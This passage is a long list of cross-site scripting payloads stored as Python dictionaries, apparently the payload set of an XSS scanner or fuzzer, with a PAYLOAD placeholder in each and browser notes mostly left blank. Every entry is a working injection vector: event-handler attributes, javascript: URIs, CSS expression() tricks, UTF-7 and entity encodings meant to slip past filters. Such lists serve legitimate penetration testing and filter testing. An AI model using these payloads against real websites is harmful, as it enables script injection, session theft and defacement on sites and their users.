  1469. { 'payload':'''<body> §iframe onload=confirm(/PAYLOAD/)> <img src=x:x onerror="innerHTML=previousSibling.nodeValue.replace('§','<')"> </body>''',
  1470. 'browser':"""[Not Info]"""},
  1471. { 'payload':'''<body onactivate=alert(PAYLOAD)>''',
  1472. 'browser':"""[Not Info]"""},
  1473. { 'payload':'''<body onbeforeactivate=alert(PAYLOAD)>''',
  1474. 'browser':"""[Not Info]"""},
  1475. { 'payload':'''<body onbeforeunload body onbeforeunload="javascript:javascript:alert(PAYLOAD)"></body onbeforeunload>''',
  1476. 'browser':"""[Not Info]"""},
  1477. { 'payload':'''<body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(PAYLOAD)"></body onBeforeUnload>''',
  1478. 'browser':"""[Not Info]"""},
  1479. { 'payload':'''<body onblur body onblur="javascript:javascript:alert(PAYLOAD)"></body onblur>''',
  1480. 'browser':"""[Not Info]"""},
  1481. { 'payload':'''<body onfocus body onfocus="javascript:javascript:alert(PAYLOAD)"></body onfocus>''',
  1482. 'browser':"""[Not Info]"""},
  1483. { 'payload':'''<body onFocus body onFocus="javascript:javascript:alert(PAYLOAD)"></body onFocus>''',
  1484. 'browser':"""[Not Info]"""},
  1485. { 'payload':'''<body onfocusin=alert(PAYLOAD)>''',
  1486. 'browser':"""[Not Info]"""},
  1487. { 'payload':'''<body oninput=alert(PAYLOAD)><input autofocus>''',
  1488. 'browser':"""[Not Info]"""},
  1489. { 'payload':'''<body oninput=javascript:alert(PAYLOAD)><input autofocus>''',
  1490. 'browser':"""[Not Info]"""},
  1491. { 'payload':'''<body oninput=prompt(PAYLOAD)><input autofocus>''',
  1492. 'browser':"""[Not Info]"""},
  1493. { 'payload':'''<body onkeydown body onkeydown="javascript:javascript:alert(PAYLOAD)"></body onkeydown>''',
  1494. 'browser':"""[Not Info]"""},
  1495. { 'payload':'''<body onkeyup body onkeyup="javascript:javascript:alert(PAYLOAD)"></body onkeyup>''',
  1496. 'browser':"""[Not Info]"""},
  1497. { 'payload':'''\"><body onload=\"PAYLOAD\">''',
  1498. 'browser':"""[Not Info]"""},
  1499. { 'payload':'''\\\'><body onload=\\\'PAYLOAD\\\'>''',
  1500. 'browser':"""[Not Info]"""},
  1501. { 'payload':'''<body/onload=<!-->&#10alert(PAYLOAD)>''',
  1502. 'browser':"""[Not Info]"""},
  1503. { 'payload':'''<body onload="alert(PAYLOAD);">''',
  1504. 'browser':"""[Not Info]"""},
  1505. { 'payload':'''<body onload="alert(PAYLOAD)">''',
  1506. 'browser':"""[Not Info]"""},
  1507. { 'payload':'''<BODY ONLOAD=alert(PAYLOAD)>''',
  1508. 'browser':"""[Not Info]"""},
  1509. { 'payload':'''<BODY ONLOAD=alert('PAYLOAD')>''',
  1510. 'browser':"""[Not Info]"""},
  1511. { 'payload':'''<body onload body onload="javascript:javascript:alert(PAYLOAD)"></body onload>''',
  1512. 'browser':"""[Not Info]"""},
  1513. { 'payload':'''<body onLoad body onLoad="javascript:javascript:alert(PAYLOAD)"></body onLoad>''',
  1514. 'browser':"""[Not Info]"""},
  1515. { 'payload':'''<BODY ONLOAD=javascript:alert(PAYLOAD)>''',
  1516. 'browser':"""[Not Info]"""},
  1517. { 'payload':'''<BODY ONLOAD=javascript:javascript:alert(PAYLOAD)>''',
  1518. 'browser':"""[Not Info]"""},
  1519. { 'payload':'''"><body onload="PAYLOAD">''',
  1520. 'browser':"""[Not Info]"""},
  1521. { 'payload':'''\'><body onload=\'PAYLOAD\'>''',
  1522. 'browser':"""[Not Info]"""},
  1523. { 'payload':'''<body onMouseEnter body onMouseEnter="javascript:javascript:alert(PAYLOAD)"></body onMouseEnter>''',
  1524. 'browser':"""[Not Info]"""},
  1525. { 'payload':'''<body onMouseMove body onMouseMove="javascript:javascript:alert(PAYLOAD)"></body onMouseMove>''',
  1526. 'browser':"""[Not Info]"""},
  1527. { 'payload':'''<body onMouseOver body onMouseOver="javascript:javascript:alert(PAYLOAD)"></body onMouseOver>''',
  1528. 'browser':"""[Not Info]"""},
  1529. { 'payload':'''<body onpagehide body onpagehide="javascript:javascript:alert(PAYLOAD)"></body onpagehide>''',
  1530. 'browser':"""[Not Info]"""},
  1531. { 'payload':'''<body onPageHide body onPageHide="javascript:javascript:alert(PAYLOAD)"></body onPageHide>''',
  1532. 'browser':"""[Not Info]"""},
  1533. { 'payload':'''<body onPageShow body onPageShow="javascript:javascript:alert(PAYLOAD)"></body onPageShow>''',
  1534. 'browser':"""[Not Info]"""},
  1535. { 'payload':'''<body onPopState body onPopState="javascript:javascript:alert(PAYLOAD)"></body onPopState>''',
  1536. 'browser':"""[Not Info]"""},
  1537. { 'payload':'''<body onPropertyChange body onPropertyChange="javascript:javascript:alert(PAYLOAD)"></body onPropertyChange>''',
  1538. 'browser':"""[Not Info]"""},
  1539. { 'payload':'''<body onResize body onResize="javascript:javascript:alert(PAYLOAD)"></body onResize>''',
  1540. 'browser':"""[Not Info]"""},
  1541. { 'payload':'''<body onscroll=alert(PAYLOAD)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>''',
  1542. 'browser':"""[Not Info]"""},
  1543. { 'payload':'''<body onscroll=alert(PAYLOAD)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>''',
  1544. 'browser':"""[Not Info]"""},
  1545. { 'payload':'''<body onscroll=alert(PAYLOAD)><br><br>...<br><input autofocus>''',
  1546. 'browser':"""[Not Info]"""},
  1547. { 'payload':'''<body onscroll=javascript:alert(PAYLOAD)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>''',
  1548. 'browser':"""[Not Info]"""},
  1549. { 'payload':'''<body onscroll=javascript:alert(PAYLOAD)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>''',
  1550. 'browser':"""[Not Info]"""},
  1551. { 'payload':'''<body onscroll=prompt(PAYLOAD)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>''',
  1552. 'browser':"""[Not Info]"""},
  1553. { 'payload':'''<body onunload body onunload="javascript:javascript:alert(PAYLOAD)"></body onunload>''',
  1554. 'browser':"""[Not Info]"""},
  1555. { 'payload':'''<body onUnload body onUnload="javascript:javascript:alert(PAYLOAD)"></body onUnload>''',
  1556. 'browser':"""[Not Info]"""},
  1557. { 'payload':'''<button/onclick=alert(PAYLOAD) >Y</button>''',
  1558. 'browser':"""[Not Info]"""},
  1559. { 'payload':'''<comment><img src="</comment><img src=x onerror=alert(PAYLOAD)//">''',
  1560. 'browser':"""[Not Info]"""},
  1561. { 'payload':'''<comment><img src="</comment><img src=x onerror=alert(PAYLOAD))//">''',
  1562. 'browser':"""[Not Info]"""},
  1563. { 'payload':'''<comment><img src="</comment><img src=x onerror=javascript:alert(PAYLOAD))//">''',
  1564. 'browser':"""[Not Info]"""},
  1565. { 'payload':'''<comment><img src="</comment><img src=x onerror=prompt(PAYLOAD)//">''',
  1566. 'browser':"""[Not Info]"""},
  1567. { 'payload':'''<div class="foo1">Y</div> <script>document.getElementsByClassName('foo1')[0]?alert(PAYLOAD):0</script>''',
  1568. 'browser':"""[Not Info]"""},
  1569. { 'payload':'''<div id=d><x xmlns="><iframe onload=alert(PAYLOAD)"></div> <script>d.innerHTML=d.innerHTML</script>''',
  1570. 'browser':"""[Not Info]"""},
  1571. { 'payload':'''<div id=d><x xmlns="><iframe onload=javascript:alert(PAYLOAD)"></div> <script>d.innerHTML=d.innerHTML</script>''',
  1572. 'browser':"""[Not Info]"""},
  1573. { 'payload':'''<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#Zault#time2"> <t:set attributeName="innerHTML" targetElement="x" to="<img&#11;src=x:x&#11;onerror&#11;=javascript:alert(PAYLOAD)>">''',
  1574. 'browser':"""[Not Info]"""},
  1575. { 'payload':'''<div onmouseover="alert(PAYLOAD);">''',
  1576. 'browser':"""[Not Info]"""},
  1577. { 'payload':'''<div/onmouseover='alert(PAYLOAD)'> style="x:">''',
  1578. 'browser':"""[Not Info]"""},
  1579. { 'payload':'''<div onmouseover='alert&lpar;PAYLOAD&rpar;'>DIV</div>''',
  1580. 'browser':"""[Not Info]"""},
  1581. { 'payload':'''<DIV STYLE="background-image: url(&#1;javascript:alert(PAYLOAD))">''',
  1582. 'browser':"""[Not Info]"""},
  1583. { 'payload':'''<DIV STYLE="background-image: url(&#1;javascript:alert('PAYLOAD'))">''',
  1584. 'browser':"""[Not Info]"""},
  1585. { 'payload':'''<div style="background-image: url(javascript:alert(PAYLOAD););">''',
  1586. 'browser':"""[Not Info]"""},
  1587. { 'payload':'''<DIV STYLE="background-image: url(javascript:alert(PAYLOAD))">''',
  1588. 'browser':"""[Not Info]"""},
  1589. { 'payload':'''<DIV STYLE="background-image: url(javascript:alert('PAYLOAD'))">''',
  1590. 'browser':"""[Not Info]"""},
  1591. { 'payload':'''<DIV STYLE="background-image: url(javascript:javascript:alert(PAYLOAD))">''',
  1592. 'browser':"""[Not Info]"""},
  1593. { 'payload':'''<div style="color:red'{} x:expression(alert(PAYLOAD))">.</div>''',
  1594. 'browser':"""[Not Info]"""},
  1595. { 'payload':'''<div style="Y:expression(alert(PAYLOAD))'"></div>''',
  1596. 'browser':"""[Not Info]"""},
  1597. { 'payload':'''<div style="Y:expression(alert(PAYLOAD))"></div>''',
  1598. 'browser':"""[Not Info]"""},
  1599. { 'payload':'''<div style="Y:expression(alert(PAYLOAD))\"></div>''',
  1600. 'browser':"""[Not Info]"""},
  1601. { 'payload':'''<div style="Y:expression(alert(PAYLOAD))">Y/div>''',
  1602. 'browser':"""[Not Info]"""},
  1603. { 'payload':'''<div style="list-style:url(http://foo.f)\20url(javascript:alert(PAYLOAD));">X</div>''',
  1604. 'browser':"""[Not Info]"""},
  1605. { 'payload':'''<div style="list-style:url(http://foo.f)\20url(javascript:javascript:alert(PAYLOAD));">X''',
  1606. 'browser':"""[Not Info]"""},
  1607. { 'payload':'''<div style="position:absolute;top:0;left:0;width:100%25;height:100%25" onmouseover="prompt(PAYLOAD)" onclick="alert(PAYLOAD)">x</button>​''',
  1608. 'browser':"""[Not Info]"""},
  1609. { 'payload':'''<div style="position:absolute;top:0;left:0;width:100%25;height:100%25" onmouseover="prompt(PAYLOAD)" onclick="alert(PAYLOAD)">x</button>''',
  1610. 'browser':"""[Not Info]"""},
  1611. { 'payload':'''<div style=width:1px;filter:glow onfilterchange=alert(PAYLOAD)>x</div>''',
  1612. 'browser':"""[Not Info]"""},
  1613. { 'payload':'''<div style=width:1px;filter:glow onfilterchange=javascript:alert(PAYLOAD)>x''',
  1614. 'browser':"""[Not Info]"""},
  1615. { 'payload':'''<div style=width:1px;filter:glow onfilterchange=prompt(PAYLOAD)>x</div>''',
  1616. 'browser':"""[Not Info]"""},
  1617. { 'payload':'''<div style="width: expression(alert(PAYLOAD););">''',
  1618. 'browser':"""[Not Info]"""},
  1619. { 'payload':'''<DIV STYLE="width: expression(alert(PAYLOAD));">''',
  1620. 'browser':"""[Not Info]"""},
  1621. { 'payload':'''<DIV STYLE="width: expression(alert('PAYLOAD'));">''',
  1622. 'browser':"""[Not Info]"""},
  1623. { 'payload':'''<div/style="width:expression(confirm(PAYLOAD))">X</div>''',
  1624. 'browser':"""[IE7]"""},
  1625. { 'payload':'''<DIV STYLE="width:expression(javascript:alert(PAYLOAD));">''',
  1626. 'browser':"""[Not Info]"""},
  1627. { 'payload':'''%E0<body onload=alert(PAYLOAD)>''',
  1628. 'browser':"""[Not Info]"""},
  1629. { 'payload':'''<embed code=javascript:javascript:alert(PAYLOAD);></embed>''',
  1630. 'browser':"""[Not Info]"""},
  1631. { 'payload':'''<embed src="javascript:alert(PAYLOAD)">''',
  1632. 'browser':"""[Not Info]"""},
  1633. { 'payload':'''<embed src=javascript:alert(PAYLOAD)>''',
  1634. 'browser':"""[Not Info]"""},
  1635. { 'payload':'''<!ENTITY x "&#x3C;html:img&#x20;src='x'&#x20;xmlns:html='http://www.w3.org/1999/xhtml'&#x20;onerror='alert(PAYLOAD)'/&#x3E;">''',
  1636. 'browser':"""[Not Info]"""},
  1637. { 'payload':'''<event-source src="%25(event)s" onload="javascript:alert(PAYLOAD)">''',
  1638. 'browser':"""[Not Info]"""},
  1639. { 'payload':'''<event-source src=javascript:alert(PAYLOAD)>''',
  1640. 'browser':"""[Not Info]"""},
  1641. { 'payload':'''exp/*<A STYLE='no\Y:noY("*//*");Y:&#101;x&#x2F;*Y*//*/*/pression(alert(PAYLOAD))'>''',
  1642. 'browser':"""[Not Info]"""},
  1643. { 'payload':'''exp/*<A STYLE='no\Y:noY("*//*");Y:ex/*Y*//*/*/pression(alert("PAYLOAD"))'>''',
  1644. 'browser':"""[Not Info]"""},
  1645. { 'payload':'''</font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(PAYLOAD)>'</font>/</style>''',
  1646. 'browser':"""[Not Info]"""},
  1647. { 'payload':'''foo%00<script>alert(PAYLOAD)</script>''',
  1648. 'browser':"""[Not Info]"""},
  1649. { 'payload':'''<! foo="><script>alert(PAYLOAD)</script>">''',
  1650. 'browser':"""[Not Info]"""},
  1651. { 'payload':'''<? foo="><script>alert(PAYLOAD)</script>">''',
  1652. 'browser':"""[Not Info]"""},
  1653. { 'payload':'''</ foo="><script>alert(PAYLOAD)</script>">''',
  1654. 'browser':"""[Not Info]"""},
  1655. { 'payload':'''<! foo="><script>javascript:alert(PAYLOAD)</script>">''',
  1656. 'browser':"""[Not Info]"""},
  1657. { 'payload':'''<? foo="><script>javascript:alert(PAYLOAD)</script>">''',
  1658. 'browser':"""[Not Info]"""},
  1659. { 'payload':'''</ foo="><script>javascript:alert(PAYLOAD)</script>">''',
  1660. 'browser':"""[Not Info]"""},
  1661. { 'payload':'''<? foo="><x foo='?><script>alert(PAYLOAD)</script>'>">''',
  1662. 'browser':"""[Not Info]"""},
  1663. { 'payload':'''<%25 foo><x foo="%25><script>alert(PAYLOAD)</script>">''',
  1664. 'browser':"""[Not Info]"""},
  1665. { 'payload':'''<? foo="><x foo='?><script>javascript:alert(PAYLOAD)</script>'>">''',
  1666. 'browser':"""[Not Info]"""},
  1667. { 'payload':'''<%25 foo><x foo="%25><script>javascript:alert(PAYLOAD)</script>">''',
  1668. 'browser':"""[Not Info]"""},
  1669. { 'payload':'''<form><a href="javascript:%0061lert&#x28;PAYLOAD&#x29;">Y''',
  1670. 'browser':"""[Not Info]"""},
  1671. { 'payload':'''<form><button formaction="javascript:alert(PAYLOAD)">Y</button>''',
  1672. 'browser':"""[Not Info]"""},
  1673. { 'payload':'''<form><button formaction=javascript&colon;alert(PAYLOAD)>Y''',
  1674. 'browser':"""[Not Info]"""},
  1675. { 'payload':'''<form><button formaction=javascript&colon;alert(PAYLOAD)>Y''',
  1676. 'browser':"""[Not Info]"""},
  1677. { 'payload':'''<form><button formaction="javascript:javascript:alert(PAYLOAD)">X''',
  1678. 'browser':"""[Not Info]"""},
  1679. { 'payload':'''<form id=Y /><button form=Y formaction=javascript:alert(PAYLOAD)>''',
  1680. 'browser':"""[Not Info]"""},
  1681. { 'payload':'''<form id="Y" /><button form="Y" formaction="javascript:alert(PAYLOAD)">X''',
  1682. 'browser':"""[Not Info]"""},
  1683. { 'payload':'''<form id="Y" /><button form="Y" formaction="javascript:javascript:alert(PAYLOAD)">X''',
  1684. 'browser':"""[Not Info]"""},
  1685. { 'payload':'''<form id="Y"></form><button form="Y" formaction="javascript:alert(PAYLOAD)">X</button>''',
  1686. 'browser':"""[Not Info]"""},
  1687. { 'payload':'''<form id=Y onforminput=javascript:alert(PAYLOAD)><input></form><button form=Y onformchange=javascript:alert(PAYLOAD)>X''',
  1688. 'browser':"""[Not Info]"""},
  1689. { 'payload':'''<form id=Y onforminput=prompt(PAYLOAD)><input></form><button form=Y onformchange=prompt(PAYLOAD)>X</button>''',
  1690. 'browser':"""[Not Info]"""},
  1691. { 'payload':'''<form><iframe &#09;&#10;&#11; src="javascript&#58;alert(PAYLOAD)"&#11;&#10;&#09;;>''',
  1692. 'browser':"""[Not Info]"""},
  1693. { 'payload':'''<form><isindex formaction="javascript&colon;confirm(PAYLOAD)"''',
  1694. 'browser':"""[Not Info]"""},
  1695. { 'payload':'''<form name=self location="javascript&#58;alert(PAYLOAD)"></form><script>if(top!=self){ top.location=self.location}</script>''',
  1696. 'browser':"""[Not Info]"""},
  1697. { 'payload':'''<form name=self location="javascript&#58;alert(PAYLOAD)"></form><script>if(top!=self){top.location=self.location}</script>''',
  1698. 'browser':"""[Not Info]"""},
  1699. { 'payload':'''<form name=self location="javascript:alert(PAYLOAD)"></form><script>if(top!=self){ top.location=self.location}</script>''',
  1700. 'browser':"""[Not Info]"""},
  1701. { 'payload':'''<form name=self location="javascript:alert(PAYLOAD)"></form><script>if(top!=self){top.location=self.location}</script>''',
  1702. 'browser':"""[Not Info]"""},
  1703. { 'payload':'''<form><textarea &#13; onkeyup='%0061%006C%0065%0072%0074&#x28;PAYLOAD&#x29;'>''',
  1704. 'browser':"""[Not Info]"""},
  1705. { 'payload':'''<FRAMESET><FRAME SRC="javascript:alert(PAYLOAD);"></FRAMESET>''',
  1706. 'browser':"""[Not Info]"""},
  1707. { 'payload':'''<FRAMESET><FRAME SRC="javascript:alert('PAYLOAD');"></FRAMESET>''',
  1708. 'browser':"""[Not Info]"""},
  1709. { 'payload':'''<FRAMESET><FRAME SRC="javascript:javascript:alert(PAYLOAD);"></FRAMESET>''',
  1710. 'browser':"""[Not Info]"""},
  1711. { 'payload':'''<frameset onBlur frameset onBlur="javascript:javascript:alert(PAYLOAD)"></frameset onBlur>''',
  1712. 'browser':"""[Not Info]"""},
  1713. { 'payload':'''<frameset onFocus frameset onFocus="javascript:javascript:alert(PAYLOAD)"></frameset onFocus>''',
  1714. 'browser':"""[Not Info]"""},
  1715. { 'payload':'''<frameset onload=alert(PAYLOAD)>''',
  1716. 'browser':"""[Not Info]"""},
  1717. { 'payload':'''<frameset onload=javascript:alert(PAYLOAD)>''',
  1718. 'browser':"""[Not Info]"""},
  1719. { 'payload':'''<frameset onload=javascript:javascript:alert(PAYLOAD)></frameset>''',
  1720. 'browser':"""[Not Info]"""},
  1721. { 'payload':'''<frameset onload=prompt(PAYLOAD)>''',
  1722. 'browser':"""[Not Info]"""},
  1723. { 'payload':'''<frameset onScroll frameset onScroll="javascript:javascript:alert(PAYLOAD)"></frameset onScroll>''',
  1724. 'browser':"""[Not Info]"""},
  1725. { 'payload':'''?#?gad=xxxx"onload="alert(PAYLOAD)"''',
  1726. 'browser':"""[Not Info]"""},
  1727. { 'payload':'''/#?gad=xxxx"onload="alert(PAYLOAD)"''',
  1728. 'browser':"""[Not Info]"""},
  1729. { 'payload':'''#?gad=xxxx"onload="alert(PAYLOAD)"''',
  1730. 'browser':"""[Not Info]"""},
  1731. { 'payload':'''<head><base href="javascript://"/></head><body><a href="/. /,alert(PAYLOAD)//#">XXX</a></body>''',
  1732. 'browser':"""[Not Info]"""},
  1733. { 'payload':'''<head><base href="javascript://"></head><body><a href="/. /,javascript:alert(PAYLOAD)//#">Y</a></body>''',
  1734. 'browser':"""[Not Info]"""},
  1735. { 'payload':'''<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(PAYLOAD);+ADw-/SCRIPT+AD4-''',
  1736. 'browser':"""[Not Info]"""},
  1737. { 'payload':'''<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('PAYLOAD');+ADw-/SCRIPT+AD4-''',
  1738. 'browser':"""[Not Info]"""},
  1739. { 'payload':'''<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-%25(PAYLOAD)s;+ADw-/SCRIPT+AD4-''',
  1740. 'browser':"""[Not Info]"""},
  1741. { 'payload':'''<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#Zault#time2"><t:set attributeName="innerHTML" to="Y<SCRIPT ZER>javascript:alert(PAYLOAD)</SCRIPT>"></BODY></HTML>''',
  1742. 'browser':"""[Not Info]"""},
  1743. { 'payload':'''<html onMouseDown html onMouseDown="javascript:javascript:alert(PAYLOAD)"></html onMouseDown>''',
  1744. 'browser':"""[Not Info]"""},
  1745. { 'payload':'''<html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(PAYLOAD)"></html onMouseEnter>''',
  1746. 'browser':"""[Not Info]"""},
  1747. { 'payload':'''<html onMouseLeave html onMouseLeave="javascript:javascript:alert(PAYLOAD)"></html onMouseLeave>''',
  1748. 'browser':"""[Not Info]"""},
  1749. { 'payload':'''<html onmousemove html onmousemove="javascript:javascript:alert(PAYLOAD)"></html onmousemove>''',
  1750. 'browser':"""[Not Info]"""},
  1751. { 'payload':'''<html onMouseMove html onMouseMove="javascript:javascript:alert(PAYLOAD)"></html onMouseMove>''',
  1752. 'browser':"""[Not Info]"""},
  1753. { 'payload':'''<html onMouseOut html onMouseOut="javascript:javascript:alert(PAYLOAD)"></html onMouseOut>''',
  1754. 'browser':"""[Not Info]"""},
  1755. { 'payload':'''<html onmouseover html onmouseover="javascript:javascript:alert(PAYLOAD)"></html onmouseover>''',
  1756. 'browser':"""[Not Info]"""},
  1757. { 'payload':'''<html onMouseOver html onMouseOver="javascript:javascript:alert(PAYLOAD)"></html onMouseOver>''',
  1758. 'browser':"""[Not Info]"""},
  1759. { 'payload':'''<html onMouseUp html onMouseUp="javascript:javascript:alert(PAYLOAD)"></html onMouseUp>''',
  1760. 'browser':"""[Not Info]"""},
  1761. { 'payload':'''<html onMouseWheel html onMouseWheel="javascript:javascript:alert(PAYLOAD)"></html onMouseWheel>''',
  1762. 'browser':"""[Not Info]"""},
  1763. { 'payload':'''htmlStr = '<a href="javascript:alert(PAYLOAD)">Y</a>'; document.getElementById('body').innerHTML = htmlStr; try { alert(PAYLOAD);}catch(e){alert(PAYLOAD);};''',
  1764. 'browser':"""[Not Info]"""},
  1765. { 'payload':'''htmlStr = '<a href="javascript:alert(PAYLOAD)">Y</a>'; document.getElementById('body').innerHTML = htmlStr; try { if(document.getElementById('body').firstChild.protocol === 'javascript:') { alert(PAYLOAD); } }catch(e){alert(PAYLOAD);};''',
  1766. 'browser':"""[Not Info]"""},
  1767. { 'payload':'''<HTML xmlns:Y><?import namespace="Y" implementation="%25(htc)s"><Y:Y>Y</Y:Y></HTML>""","XML namespace."),("""<XML ID="Y"><I><B><IMG SRC="javas<!-- -->cript:javascript:alert(PAYLOAD)"></B></I></XML><SPAN DATASRC="#Y" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>''',
  1768. 'browser':"""[Not Info]"""},
  1769. { 'payload':'''http://%22%20onerror=%22alert%28PAYLOAD%29;//''',
  1770. 'browser':"""[Not Info]"""},
  1771. { 'payload':'''http://www.<script>alert(PAYLOAD)</script .com''',
  1772. 'browser':"""[Not Info]"""},
  1773. { 'payload':'''<!--[if gte IE 4]><SCRIPT>alert(PAYLOAD);</SCRIPT><![endif]-->''',
  1774. 'browser':"""[Not Info]"""},
  1775. { 'payload':'''<!--[if gte IE 4]><SCRIPT>javascript:alert(PAYLOAD);</SCRIPT><![endif]-->''',
  1776. 'browser':"""[Not Info]"""},
  1777. { 'payload':'''<!--[if<img src=x onerror=alert(PAYLOAD)//]> -->''',
  1778. 'browser':"""[Not Info]"""},
  1779. { 'payload':'''<!--[if<img src=x onerror=javascript:alert(PAYLOAD)//]> -->''',
  1780. 'browser':"""[Not Info]"""},
  1781. { 'payload':'''<iframe/%00/ src=javaSCRIPT&colon;alert(PAYLOAD)''',
  1782. 'browser':"""[Not Info]"""},
  1783. { 'payload':'''<iframe %00 src="&Tab;javascript:prompt(PAYLOAD)&Tab;"%00>''',
  1784. 'browser':"""[Not Info]"""},
  1785. { 'payload':'''<iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(PAYLOAD)"></iframe onbeforeload>''',
  1786. 'browser':"""[Not Info]"""},
  1787. { 'payload':'''<iframe "onload=alert(PAYLOAD)></iframe>''',
  1788. 'browser':"""[Not Info]"""},
  1789. { 'payload':'''<iframe/ /onload=alert(PAYLOAD)></iframe>''',
  1790. 'browser':"""[Not Info]"""},
  1791. { 'payload':'''<iframe/ "onload=alert(PAYLOAD)></iframe>''',
  1792. 'browser':"""[Not Info]"""},
  1793. { 'payload':'''<iframe///////onload=alert(PAYLOAD)></iframe>''',
  1794. 'browser':"""[Not Info]"""},
  1795. { 'payload':'''<iframe onload iframe onload="javascript:javascript:alert(PAYLOAD)"></iframe onload>''',
  1796. 'browser':"""[Not Info]"""},
  1797. { 'payload':'''<iframe onLoad iframe onLoad="javascript:javascript:alert(PAYLOAD)"></iframe onLoad>''',
  1798. 'browser':"""[Not Info]"""},
  1799. { 'payload':'''<iframe/onreadystatechange=%0061%006C%0065%0072%0074('%006PAYLOAD') worksinIE>''',
  1800. 'browser':"""[Not Info]"""},
  1801. { 'payload':'''<iframe onreadystatechange=alert(PAYLOAD)>''',
  1802. 'browser':"""[Not Info]"""},
  1803. { 'payload':'''<iframe/onreadystatechange=alert(PAYLOAD)''',
  1804. 'browser':"""[Not Info]"""},
  1805. { 'payload':'''<iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(PAYLOAD)"></iframe onReadyStateChange>''',
  1806. 'browser':"""[Not Info]"""},
  1807. { 'payload':'''<iframe srcdoc='<body onload=prompt&lpar;PAYLOAD&rpar;>'>''',
  1808. 'browser':"""[Not Info]"""},
  1809. { 'payload':'''<iframe srcdoc="&LT;iframe&sol;srcdoc=&lt;img&sol;src=&apos;&apos;onerror=javascript:alert(PAYLOAD)&gt;>">''',
  1810. 'browser':"""[Not Info]"""},
  1811. { 'payload':'''/*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(PAYLOAD) /*iframe/src*/>''',
  1812. 'browser':"""[Not Info]"""},
  1813. { 'payload':'''<iframe src iframe src="javascript:javascript:alert(PAYLOAD)"></iframe src>''',
  1814. 'browser':"""[Not Info]"""},
  1815. { 'payload':'''<iframe src="javascript:alert(PAYLOAD); <''',
  1816. 'browser':"""[Not Info]"""},
  1817. { 'payload':'''<iframe src=javascript:alert(PAYLOAD)>''',
  1818. 'browser':"""[Not Info]"""},
  1819. { 'payload':'''<IFRAME SRC="javascript:alert(PAYLOAD);"></IFRAME>''',
  1820. 'browser':"""[Not Info]"""},
  1821. { 'payload':'''<IFRAME SRC="javascript:alert('PAYLOAD');"></IFRAME>''',
  1822. 'browser':"""[Not Info]"""},
  1823. { 'payload':'''<IFRAME SRC="javascript:javascript:alert(PAYLOAD);"></IFRAME>''',
  1824. 'browser':"""[Not Info]"""},
  1825. { 'payload':'''<iframe src=j&#x61;vasc&#x72ipt&#x3a;alert&#x28;PAYLOAD&#x29; >''',
  1826. 'browser':"""[Not Info]"""},
  1827. { 'payload':'''<iframe/src \/\/onload = prompt(PAYLOAD)''',
  1828. 'browser':"""[Not Info]"""},
  1829. { 'payload':'''<iframe style="position:absolute;top:0;left:0;width:100%25;height:100%25" onmouseover="prompt(PAYLOAD)">''',
  1830. 'browser':"""[Not Info]"""},
  1831. { 'payload':'''<!--[if]><script>alert(PAYLOAD)</script -->''',
  1832. 'browser':"""[Not Info]"""},
  1833. { 'payload':'''<!--[if]><script>javascript:alert(PAYLOAD)</script -->''',
  1834. 'browser':"""[Not Info]"""},
  1835. { 'payload':'''<image src=1 href=1 onerror="javascript:alert(PAYLOAD)"></image>''',
  1836. 'browser':"""[Not Info]"""},
  1837. { 'payload':'''<image src="javascript:alert(PAYLOAD)">''',
  1838. 'browser':"""[Not Info]"""},
  1839. { 'payload':'''<img %00src=x onerror="alert(PAYLOAD)">''',
  1840. 'browser':"""[Not Info]"""},
  1841. { 'payload':'''<img %00src=x onerror="javascript:alert(PAYLOAD)">''',
  1842. 'browser':"""[Not Info]"""},
  1843. { 'payload':'''<img/&#09;&#10;&#11; src=`~` onerror=prompt(PAYLOAD)>''',
  1844. 'browser':"""[Not Info]"""},
  1845. { 'payload':'''<img%10src=x onerror="javascript:alert(PAYLOAD)">''',
  1846. 'browser':"""[Not Info]"""},
  1847. { 'payload':'''<img %11src=x onerror="javascript:alert(PAYLOAD)">''',
  1848. 'browser':"""[Not Info]"""},
  1849. { 'payload':'''<img%11src=x onerror="javascript:alert(PAYLOAD)">''',
  1850. 'browser':"""[Not Info]"""},
  1851. { 'payload':'''<img %12src=x onerror="javascript:alert(PAYLOAD)">''',
  1852. 'browser':"""[Not Info]"""},
  1853. { 'payload':'''<img%13src=x onerror="javascript:alert(PAYLOAD)">''',
  1854. 'browser':"""[Not Info]"""},
  1855. { 'payload':'''<img%32src=x onerror="javascript:alert(PAYLOAD)">''',
  1856. 'browser':"""[Not Info]"""},
  1857. { 'payload':'''<img %34src=x onerror="javascript:alert(PAYLOAD)">''',
  1858. 'browser':"""[Not Info]"""},
  1859. { 'payload':'''<img %39src=x onerror="javascript:alert(PAYLOAD)">''',
  1860. 'browser':"""[Not Info]"""},
  1861. { 'payload':'''<img %47src=x onerror="javascript:alert(PAYLOAD)">''',
  1862. 'browser':"""[Not Info]"""},
  1863. { 'payload':'''<img%47src=x onerror="javascript:alert(PAYLOAD)">''',
  1864. 'browser':"""[Not Info]"""},
